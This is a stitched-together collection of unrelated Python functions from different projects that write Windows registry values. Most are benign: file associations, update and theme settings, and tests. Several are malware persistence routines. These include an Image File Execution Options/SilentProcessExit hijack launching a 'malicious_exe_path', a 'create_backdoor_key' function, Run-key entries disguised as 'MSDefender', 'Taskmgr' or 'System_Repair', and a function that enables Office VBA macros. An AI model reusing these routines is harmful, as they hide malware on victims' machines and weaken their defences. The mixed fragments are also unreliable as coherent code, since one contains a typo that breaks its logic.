def set_setting(s): try: try: DeleteKeyEx(HKEY_LOCAL_MACHINE, AU, KEY_ALL_ACCESS, 0) except FileNotFoundError: pass try: DeleteKeyEx(HKEY_LOCAL_MACHINE, WindowsUpdate, KEY_ALL_ACCESS, 0) except FileNotFoundError: pass CreateKeyEx(HKEY_LOCAL_MACHINE, WindowsUpdate, 0, KEY_ALL_ACCESS) CreateKeyEx(HKEY_LOCAL_MACHINE, AU, 0, KEY_ALL_ACCESS) with OpenKey(HKEY_LOCAL_MACHINE, AU, 0, KEY_ALL_ACCESS) as key: if s == 1: SetValueEx(key, NoAutoUpdate, 0, REG_DWORD, 1) elif s != 0: SetValueEx(key, NoAutoUpdate, 0, REG_DWORD, 0) SetValueEx(key, AUOptions, 0, REG_DWORD, s) SetValueEx(key, ScheduledInstallDay, 0, REG_DWORD, 6) SetValueEx(key, ScheduledInstallTime, 0, REG_DWORD, 3) except PermissionError: print('Permission denied. Please run this program as Administrator.') else: print('Windows Update settings changed successfully.')
def set_keys(self): baseOfficeKeyPath = r"Software\Microsoft\Office" installedVersions = list() try: officeKey = OpenKey(HKEY_CURRENT_USER, baseOfficeKeyPath, 0, KEY_READ) for currentKey in range(0, QueryInfoKey(officeKey)[0]): isVersion = True officeVersion = EnumKey(officeKey, currentKey) if "." in officeVersion: for intCheck in officeVersion.split("."): if not intCheck.isdigit(): isVersion = False break if isVersion: installedVersions.append(officeVersion) CloseKey(officeKey) except WindowsError: # Office isn't installed at all return for oVersion in installedVersions: key = CreateKeyEx( HKEY_CURRENT_USER, r"{0}\{1}\Publisher\Security".format(baseOfficeKeyPath, oVersion), 0, KEY_SET_VALUE) SetValueEx(key, "VBAWarnings", 0, REG_DWORD, 1) SetValueEx(key, "AccessVBOM", 0, REG_DWORD, 1) SetValueEx(key, "ExtensionHardening", 0, REG_DWORD, 0) CloseKey(key)
def registration(): import os print(sys.executable) if os.path.basename(sys.executable) == "__main__.exe": try: from winreg import ConnectRegistry, HKEY_CLASSES_ROOT, \ CreateKeyEx, SetValueEx, REG_SZ, KEY_ALL_ACCESS, KEY_SET_VALUE root = ConnectRegistry(None, HKEY_CLASSES_ROOT) policy_key = CreateKeyEx(root, r"rhythmcollective", 0, KEY_SET_VALUE) SetValueEx(policy_key, None, 0, REG_SZ, "URL:rhythmcollective") SetValueEx(policy_key, "URL Protocol", 0, REG_SZ, "") policy_key = CreateKeyEx(root, r"rhythmcollective\DefaultIcon", 0, KEY_SET_VALUE) SetValueEx(policy_key, None, 0, REG_SZ, "\"Arena.exe,1\"") policy_key = CreateKeyEx(root, r"rhythmcollective\shell\open\command", 0, KEY_ALL_ACCESS) SetValueEx(policy_key, None, 0, REG_SZ, f"\"{sys.executable}\" --from-url \"%1\"") print("registered") except OSError as an_error: print(f"unable to open registry {an_error}")
def addFileAssociation(self): """ Associate *.fmu with the FMPy GUI """ try: from winreg import HKEY_CURRENT_USER, KEY_WRITE, REG_SZ, OpenKey, CreateKey, SetValueEx, CloseKey python = sys.executable root, ext = os.path.splitext(python) pythonw = root + 'w' + ext if os.path.isfile(pythonw): target = pythonw else: target = python key_path = r'Software\Classes\fmpy.gui\shell\open\command' CreateKey(HKEY_CURRENT_USER, key_path) key = OpenKey(HKEY_CURRENT_USER, key_path, 0, KEY_WRITE) SetValueEx(key, '', 0, REG_SZ, '"%s" -m fmpy.gui "%%1"' % target) CloseKey(key) key_path = r'SOFTWARE\Classes\.fmu' CreateKey(HKEY_CURRENT_USER, key_path) key = OpenKey(HKEY_CURRENT_USER, key_path, 0, KEY_WRITE) SetValueEx(key, '', 0, REG_SZ, 'fmpy.gui') CloseKey(key) QMessageBox.information(self, "File association added", "The file association for *.fmu has been added") except Exception as e: QMessageBox.critical(self, "File association failed", "The file association for *.fmu could not be added. %s" % e)
def disablebUpdater(): try: root = ConnectRegistry(None, HKEY_LOCAL_MACHINE) bUpdater_key = OpenKeyEx( root, r"SOFTWARE\Policies\Adobe\Adobe Acrobat\DC\FeatureLockDown") SetValueEx(bUpdater_key, "bUpdater", 0, REG_DWORD, 0) except OSError: bUpdater_key = CreateKey( root, r"SOFTWARE\Policies\Adobe\Adobe Acrobat\DC\FeatureLockDown") SetValueEx(bUpdater_key, "bUpdater", 0, REG_DWORD, 0)
def test_SetValueEx(self): # this test leaves open keys. If it fails, others will too from winreg import CreateKey, SetValueEx, REG_BINARY, REG_DWORD key = CreateKey(self.root_key, self.test_key_name) sub_key = CreateKey(key, u"sub_key") SetValueEx(sub_key, 'Int Value', 0, REG_DWORD, None) SetValueEx(sub_key, 'Int Value', 0, REG_DWORD, 45) for name, value, type in self.test_data: SetValueEx(sub_key, name, 0, type, value) # cannot wrap a memoryview in setup_class for test_data SetValueEx(sub_key, u'test_name', None, REG_BINARY, memoryview(b'abc'))
def test_SetValueEx(self): from winreg import CreateKey, SetValueEx, REG_BINARY, REG_DWORD key = CreateKey(self.root_key, self.test_key_name) sub_key = CreateKey(key, "sub_key") SetValueEx(sub_key, 'Int Value', 0, REG_DWORD, None) SetValueEx(sub_key, 'Int Value', 0, REG_DWORD, 45) for name, value, type in self.test_data: SetValueEx(sub_key, name, 0, type, value) exc = raises(TypeError, SetValueEx, sub_key, 'test_name', None, REG_BINARY, memoryview('abc')) assert str(exc.value) == ("Objects of type 'memoryview' can not " "be used as binary registry values")
def toggle_color_mode(): """Toggles system color scheme preference.""" from winreg import ConnectRegistry, HKEY_CURRENT_USER, REG_SZ, KEY_ALL_ACCESS, OpenKeyEx, QueryValueEx, SetValueEx, CloseKey root = ConnectRegistry(None, HKEY_CURRENT_USER) policy_key = OpenKeyEx( root, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize", access=KEY_ALL_ACCESS) light, _ = QueryValueEx(policy_key, "AppsUseLightTheme") SetValueEx(policy_key, "AppsUseLightTheme", 0, REG_SZ, str(1 - int(light))) SetValueEx(policy_key, "SystemUsesLightTheme", 0, REG_SZ, str(1 - int(light))) CloseKey(policy_key)
def Registrar(Action='get', RegPath='', RegName='', RegValue=''): try: ClassDict = { 'HKEY_LOCAL_MACHINE': HKEY_LOCAL_MACHINE, 'HKEY_CURRENT_USER': HKEY_CURRENT_USER, 'HKEY_USERS': HKEY_USERS, 'HKEY_CURRENT_CONFIG': HKEY_CURRENT_CONFIG } mainkey = RegPath.split('\\')[0] RegRelativePath = RegPath.replace(mainkey + '\\', '') with OpenKey(ClassDict[mainkey], RegRelativePath, 0, KEY_ALL_ACCESS) as key: if Action == 'get': value = QueryValueEx(key, RegName)[0] return (value) elif Action == 'set': SetValueEx(key, RegName, 0, REG_SZ, RegValue) if QueryValueEx(key, RegName)[0]: return (True) else: return (False) elif Action == 'setkey': CreateKey(ClassDict[mainkey], RegRelativePath + '\\' + RegName) except FileNotFoundError as regerr: print(str(regerr))
def maybe_set_key(key_path: str, expected: str, dry_run: bool = False, var_name: str = None): from winreg import HKEY_CLASSES_ROOT, OpenKey, QueryValue, CreateKeyEx, SetValue, REG_SZ, KEY_WRITE, KEY_READ from winreg import QueryValueEx, SetValueEx try: with OpenKey(HKEY_CLASSES_ROOT, key_path, 0, KEY_READ) as entry_key: if var_name: value = QueryValueEx(entry_key, var_name)[0] else: value = QueryValue(entry_key, None) except FileNotFoundError: value = None if value != expected: prefix = '[DRY RUN] Would set' if dry_run else 'Setting' if var_name: log.info(f'{prefix} HKEY_CLASSES_ROOT\\{key_path}[{var_name!r}] = {expected!r}') else: log.info(f'{prefix} HKEY_CLASSES_ROOT\\{key_path} = {expected!r}') if not dry_run: with CreateKeyEx(HKEY_CLASSES_ROOT, key_path, 0, KEY_WRITE) as entry_key: if var_name: SetValueEx(entry_key, var_name, 0, REG_SZ, expected) else: SetValue(entry_key, None, REG_SZ, expected) # noqa else: log.info(f'Already contains expected value: HKEY_CLASSES_ROOT\\{key_path}')
def Registrar(Action='get', RegPath='', RegName='', RegValue=''): ClassDict = {'HKEY_CURRENT_USER':HKEY_CURRENT_USER} mainkey = RegPath.split('\\')[0] RegRelativePath = RegPath.replace(mainkey + '\\', '') if Action == 'exists': try: with OpenKey(ClassDict[mainkey], RegRelativePath, 0, KEY_ALL_ACCESS) as key: return(True) except FileNotFoundError: return(False) try: with OpenKey(ClassDict[mainkey], RegRelativePath, 0, KEY_ALL_ACCESS) as key: if Action == 'get': value = QueryValueEx(key, RegName)[0] return(value) elif Action == 'set': SetValueEx(key, RegName, 0, REG_SZ, RegValue) if QueryValueEx(key, RegName)[0]: return(True) else: return(False) elif Action == 'setkey': CreateKey(ClassDict[mainkey], join(RegRelativePath, RegName)) except FileNotFoundError as regerr: pass
def persist(malicious_exe_path: str, target_exe: str, target_reg_keys: list): with ConnectRegistry(None, HKEY_LOCAL_MACHINE) as hklm: # create the `Image File Execution Options` subkey with target executable CreateKeyEx(hklm, target_reg_keys[0], 0, KEY_WRITE) # create the `SilentProcessExit` subkey with target executable CreateKeyEx(hklm, target_reg_keys[1], 0, KEY_WRITE) for reg_key in target_reg_keys: with OpenKey(hklm, reg_key, 0, KEY_ALL_ACCESS) as target_key: for _ in range(QueryInfoKey(target_key)[0]): if "Image File Exection" in reg_key: SetValueEx(hklm, "GlobalFlag", 0, REG_DWORD, 512) else: SetValueEx(hklm, "ReportingMode", 0, REG_DWORD, 1) SetValueEx(hklm, "MonitorProcess", 0, REG_SZ, malicious_exe_path) flush_registry_changes()
def create_backdoor_key(path_to_startup_registry_key:str): with ConnectRegistry(None, HKEY_CURRENT_USER) as hkcu: with \ OpenKey(hkcu, path_to_startup_registry_key, 0, KEY_ALL_ACCESS) \ as startup_key: SetValueEx(startup_key, "SecurityNow", 0, REG_EXPAND_SZ, "%TEMP%\\securitynow.exe") flush_registry_changes()
def addFileAssociation(self): """ Associate *.fmu with the FMPy GUI """ try: from winreg import HKEY_CURRENT_USER, KEY_WRITE, REG_SZ, OpenKey, CreateKey, SetValueEx, CloseKey env = os.environ.get('CONDA_DEFAULT_ENV_') if env is None: python = sys.executable root, ext = os.path.splitext(python) pythonw = root + 'w' + ext if os.path.isfile(pythonw): python = pythonw target = '"%s" -m fmpy.gui "%%1"' % python else: # activate the conda environment for path in os.environ["PATH"].split(os.pathsep): activate = os.path.join(path, 'activate.bat') if os.path.isfile(activate): break windir = os.environ['WINDIR'] cmd = os.path.join(windir, 'System32', 'cmd.exe') target = r'%s /C ""%s" %s && python -m fmpy.gui %%1"' % (cmd, activate, env) key_path = r'Software\Classes\fmpy.gui\shell\open\command' CreateKey(HKEY_CURRENT_USER, key_path) key = OpenKey(HKEY_CURRENT_USER, key_path, 0, KEY_WRITE) SetValueEx(key, '', 0, REG_SZ, target) CloseKey(key) key_path = r'SOFTWARE\Classes\.fmu' CreateKey(HKEY_CURRENT_USER, key_path) key = OpenKey(HKEY_CURRENT_USER, key_path, 0, KEY_WRITE) SetValueEx(key, '', 0, REG_SZ, 'fmpy.gui') CloseKey(key) QMessageBox.information(self, "File association added", "The file association for *.fmu has been added") except Exception as e: QMessageBox.critical(self, "File association failed", "The file association for *.fmu could not be added. %s" % e)
def modifyReg(): key = OpenKey( HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop', 0, KEY_ALL_ACCESS) valueName = "NoChangingWallPaper" SetValueEx(key, valueName, 0, REG_DWORD, 0)
def add2Registery(filePath): runSubKey = r"Software\Microsoft\Windows\CurrentVersion\Run" with OpenKey(HKEY_LOCAL_MACHINE, runSubKey, 0, KEY_ALL_ACCESS) as regObject: try: QueryValueEx(regObject, 'MSdefender') except: SetValueEx(regObject, "MSdefender", 0, REG_SZ, filePath)
def add_to_startup(): key_val = r'Software\Microsoft\Windows\CurrentVersion\Run' key2change = OpenKey(HKEY_CURRENT_USER, key_val, 0, KEY_ALL_ACCESS) sys_args = ' '.join([mode]) reg_value_prefix, reg_value_postfix = '', '' reg_value = reg_value_prefix + '"' + current_file_path + '" ' + sys_args + reg_value_postfix try: SetValueEx(key2change, "Taskmgr", 0, REG_SZ, reg_value) except: pass
def change_productid(self): """Randomizes Windows ProductId. The Windows ProductId is occasionally used by malware to detect public setups of Cuckoo, e.g., Malwr.com. """ value = f"{random_integer(5)}-{random_integer(3)}-{random_integer(7)}-{random_integer(5)}" with OpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_SET_VALUE | KEY_WOW64_64KEY) as key: SetValueEx(key, "ProductId", 0, REG_SZ, value)
def randomizeUUID(self): createdUUID = str(uuid4()) log.info("Disguising GUID to %s", createdUUID) keyPath = "SOFTWARE\\Microsoft\\Cryptography" with OpenKey(HKEY_LOCAL_MACHINE, keyPath, 0, KEY_SET_VALUE | KEY_WOW64_64KEY) as key: # Replace the UUID with the new UUID SetValueEx(key, "MachineGuid", 0, REG_SZ, createdUUID)
def set_reg(name, value): """Set DPI via registry key""" try: CreateKey(HKEY_CURRENT_USER, REG_PATH) registry_key = OpenKey(HKEY_CURRENT_USER, REG_PATH, 0, KEY_WRITE) SetValueEx(registry_key, name, 0, REG_SZ, value) CloseKey(registry_key) return True except: logger.exception("Exception occurred - Cannot Change DPI (set_reg)")
def addStartup(exe): fp = popen("echo %temp%").read().strip() new_name = random_name() new_file_path = fp + "\\" + new_name +".exe" make_copy_and_hide( exe,new_file_path ) keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run' try: key2change = OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS) x1 = SetValueEx(key2change, "System_Repair",0,REG_SZ, new_file_path) except: x1 = rename( new_file_path, os.path.expandvars("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}".format( new_name +".exe" ) ) )
def addStartUp(self): print("[StartUp] Iniciando Función") keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run' try: # Solo si tiene permisos de administrador registry = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS) # machine SetValueEx(registry, Config().NAME_REG, 0, REG_SZ, Config().PATH_KEY) Functions().CheckFolder_StartUP() # Crea carpeta print("[StartUp] Exitoso Administrador") except: print("[StartUp] USER - Verificando existencia") if Functions().CheckFolder_StartUP(): print("[StartUp] USER - No se encontró, creando...") registry = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS) # local SetValueEx(registry, Config().NAME_REG, 0, REG_SZ, Config().PATH_KEY) print("[StartUp] USER - EXITOSO")
def __exit__(self, type, value, traceback): #print('__exit__') try: if "Windows-7" in platform() and self.state: key = OpenKey(HKEY_LOCAL_MACHINE, self.keyVal, 0, KEY_ALL_ACCESS) SetValueEx(key, self.name, 0, REG_DWORD, self.value) CloseKey(key) except WindowsError: logger.warning( "It seems that we have no rights to change register (__exit__)" )
def write_destination_folder_to_reg( destination_folder: Path, reg_path: str = R'SOFTWARE\lyckantropen\moonlight_hdr_launcher' ) -> None: _logger.debug( f'Writing destination_folder="{destination_folder}" to registry at "{reg_path}"' ) CreateKey(HKEY_CURRENT_USER, reg_path) registry_key = OpenKey(HKEY_CURRENT_USER, reg_path, 0, KEY_WRITE) SetValueEx(registry_key, 'destination_folder', 0, REG_SZ, str(destination_folder)) CloseKey(registry_key)
def write_entry( self, reg_key: str, name: str, value: Any = None, reg_type: Union[WinregType, int] = WinregType.REG_SZ, key_wow64_32key: bool = False, ) -> None: if isinstance(reg_type, int): reg_type = WinregType(reg_type) handle = self._get_handler(reg_key, KEY_SET_VALUE, key_wow64_32key) SetValueEx(handle, name, 0, reg_type.value, value)
def persist(file_path): """ Persist binary passed to the function. So, this function adds a new value to a specific registry key. All binaries specified in this registry key runs on each computer startup. :param file_path: path to the binary we want to persist :return: """ run_sub_key = r"Software\Microsoft\Windows\CurrentVersion\Run" value_name = "MSDefender" # this value doesn't look suspicious run_key = OpenKey(HKEY_LOCAL_MACHINE, run_sub_key, 0, KEY_ALL_ACCESS) SetValueEx(run_key, value_name, 0, REG_SZ, file_path) CloseKey(run_key)
def add_to_startup(): key_val = r'Software\Microsoft\Windows\CurrentVersion\Run' key2change = OpenKey(HKEY_CURRENT_USER, key_val, 0, KEY_ALL_ACCESS) if executable: reg_value_prefix, reg_value_postfix = '', '' else: reg_value_prefix = 'CMD /k "cd ' + dir_path + ' && ' + PYTHON_EXEC_PATH + ' ' reg_value_postfix = '"' reg_value = reg_value_prefix + '"' + current_file_path + '" ' + mode + \ (' encrypt' if encryption_on else '') + reg_value_postfix try: SetValueEx(key2change, "Start", 0, REG_SZ, reg_value) except Exception as e: print(e)
def __enter__(self): #print('__enter__') try: if "Windows-7" in platform(): self.value = 0 #QueryValue(keyVal, name) key = OpenKey(HKEY_LOCAL_MACHINE, self.keyVal, 0, KEY_ALL_ACCESS) SetValueEx(key, self.name, 0, REG_DWORD, 1) CloseKey(key) self.state = True except: # WindowsError: logger.warning( "It seems that we have no rights to change register (__enter__)" ) return self
def infinite(self): print("[StartUp] Init") while True: print("[StartUp] while...") try: registry = OpenKey( HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\RunOnce', 0, KEY_ALL_ACCESS) # local SetValueEx(registry, "runSoftware", 0, REG_SZ, __file__) # Config().StarUp().PATH_PROGRAM registry.Close() print("[StartUp] USER - EXITOSO") except: print("[StartUp] USER - Error") time.sleep(65)
def writeRegistry(self, myKey, value): REG_PATH = 'SOFTWARE\ABB\PythonTestRunner' try: keyval = r'SOFTWARE\ABB\PythonTestRunner' if not os.path.exists("keyval"): CreateKey(HKEY_LOCAL_MACHINE, keyval) Registrykey = OpenKey(HKEY_LOCAL_MACHINE, REG_PATH, 0, KEY_WRITE) SetValueEx(Registrykey, myKey, 0, REG_SZ, value) CloseKey(Registrykey) return True except Exception as e: print( "While attempting to write a registry key, the following error occurred:\n" + str(e) + "\nThis is likely because this user account does not have admin rights or Python Test Runner has not been run as administrator.\n" ) return False